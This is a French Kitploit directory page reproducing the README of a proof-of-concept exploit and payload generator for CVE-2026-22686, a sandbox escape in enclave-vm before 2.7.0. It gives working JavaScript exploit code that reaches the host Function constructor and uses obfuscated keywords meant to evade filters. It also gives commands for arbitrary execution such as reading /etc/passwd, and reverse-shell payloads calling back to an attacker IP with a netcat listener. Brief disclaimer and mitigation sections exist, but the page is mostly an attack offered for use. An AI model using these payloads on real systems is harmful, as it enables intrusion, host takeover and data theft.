Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Preuve de concept d'exploit et générateur de payload pour CVE-2026-22686, une évasion de sandbox dans enclave-vm <2.7.0 permettant l'exécution de code arbitraire et des reverse shells. | Kitploit
Outils/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et ÉducationRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Preuve de concept d'exploit et générateur de payload pour CVE-2026-22686, une évasion de sandbox dans enclave-vm <2.7.0 permettant l'exécution de code arbitraire et des reverse shells.

Voir le dépôt
27il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-22686 — PoC d'évasion de sandbox enclave-vm

CVE CVSS enclave-vm Python License

Un exploit de preuve de concept (PoC) et un générateur de payload pour CVE-2026-22686, une vulnérabilité critique d'évasion de sandbox dans enclave-vm versions antérieures à 2.7.0, permettant l'exécution de code arbitraire au sein du runtime Node.js hôte.

⚠️ Avertissement : Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. Toute utilisation contre des systèmes sans consentement écrit préalable est illégale. L'auteur décline toute responsabilité en cas de mauvaise utilisation.


📖 Table des matières

  • Aperçu
  • Détails de la vulnérabilité
  • Fonctionnement
  • Installation
  • Utilisation
  • Anatomie du payload
  • Atténuation
  • Mentions légales
  • Références
  • Auteur
  • Licence

🔍 Aperçu

enclave-vm est une bibliothèque de sandboxing JavaScript conçue pour exécuter en toute sécurité du code non fiable dans un environnement contrôlé. Dans les versions < 2.7.0, une faille dans la manière dont les objets d'erreur côté hôte sont exposés à la sandbox permet à un attaquant de parcourir la chaîne de prototypes et d'atteindre le constructeur Function de l'hôte, échappant ainsi effectivement à la sandbox.

Ce dépôt contient :

  • Un générateur de payload qui produit un payload JavaScript prêt à coller
  • Le support de l'exécution de commandes arbitraires sur l'hôte
  • Le support des payloads de reverse shell
  • Une CLI interactive bilingue (français / anglais)

🛡️ Détails de la vulnérabilité

ChampValeur
CVE IDCVE-2026-22686
CVSS v3.110.0 (Critique)
CWECWE-693 — Défaillance du mécanisme de protection
Composantenclave-vm
Affecté< 2.7.0
Corrigé dans2.7.0
ImpactÉvasion de sandbox → exécution de code arbitraire (RCE)

Cause racine

Lorsqu'un appel d'outil sandboxé échoue, enclave-vm expose l'objet Error côté hôte au code sandboxé. Comme cet objet d'erreur conserve sa chaîne de prototypes d'origine issue de l'environnement hôte, un attaquant peut remonter la chaîne comme suit :

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

Une fois le constructeur Function de l'hôte obtenu, l'attaquant peut compiler et exécuter du JavaScript arbitraire dans le runtime hôte — contournant complètement la sandbox.


⚙️ Fonctionnement

L'exploit suit ces étapes :

  1. Déclencher une erreur côté hôte en invoquant un outil inexistant (callTool('NONEXISTENT', {})).
  2. Récupérer l'objet d'erreur depuis la sandbox (il conserve une référence à la chaîne de prototypes de l'hôte).
  3. Parcourir la chaîne de prototypes pour atteindre Error.prototype.constructor.constructor, qui est le Function de l'hôte.
  4. Compiler le payload de l'attaquant à l'aide du Function de l'hôte et l'exécuter.
  5. Le payload charge child_process et exécute une commande shell arbitraire (ou lance un reverse shell).

Tous les mots-clés sensibles (constructor, __proto__, __lookupGetter__, prototype) sont obfusqués sous forme de codes de caractères ASCII pour contourner les filtres statiques naïfs.


📦 Installation

Aucune dépendance externe — utilise uniquement la bibliothèque standard Python.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Prérequis :

  • Python 3.8+

🚀 Utilisation

Mode interactif

python3 generator.py

Il vous sera demandé de :

  1. Sélectionner votre langue (français / anglais)
  2. Sélectionner le type de payload (commande ou reverse shell)
  3. Fournir la commande / l'IP / le port

Ensuite, copiez le payload généré et collez-le dans l'entrée de la sandbox vulnérable.

Exécution de commandes

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Reverse shell

Terminal 1 (attaquant — écoute) :

nc -lvnp 4444

Terminal 2 (générateur) :

python3 generator.py --revshell 10.10.15.152 4444

Copiez le payload résultant et collez-le dans la sandbox. Vous devriez recevoir un shell dans le Terminal 1.

Sortie brute du payload

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

Options de la CLI

OptionDescription
-c, --commandCommande shell à exécuter
--revshell LHOST LPORTGénérer un payload de reverse shell
--rawAfficher uniquement le payload (sans bannière ni décoration)
--lang {fr,en}Forcer la langue de l'interface
-h, --helpAfficher l'aide et les exemples

🔬 Anatomie du payload

1. Décodeur ASCII

const s = (...args) => String.fromCharCode(...args);

Un petit utilitaire pour décoder les tableaux de codes ASCII à l'exécution.

2. Mots-clés obfusqués

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Évite les filtres triviaux basés sur les chaînes de caractères.

3. Chaîne d'exploitation

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

Le Function de l'hôte est ensuite utilisé pour exécuter la commande de l'attaquant via child_process.execSync().


🛡️ Atténuation

Pour les développeurs :

  • Mettre à jour enclave-vm vers >= 2.7.0.
  • Auditer régulièrement votre arbre de dépendances (npm audit, Snyk, Dependabot).
  • Ne jamais exposer les fonctionnalités d'exécution en sandbox à des entrées non fiables sans validation supplémentaire.
  • Exécuter le code sandboxé dans des processus isolés (par ex. isolated-vm, gVisor, Firecracker).

Pour les utilisateurs / organisations :

  • Surveiller la présence de bibliothèques de sandbox obsolètes en production.
  • Restreindre l'accès réseau sortant depuis tout processus qui exécute du code utilisateur.
  • Appliquer le principe du moindre privilège : exécuter les processus Node.js en tant que non-root.
Télécharger l’outil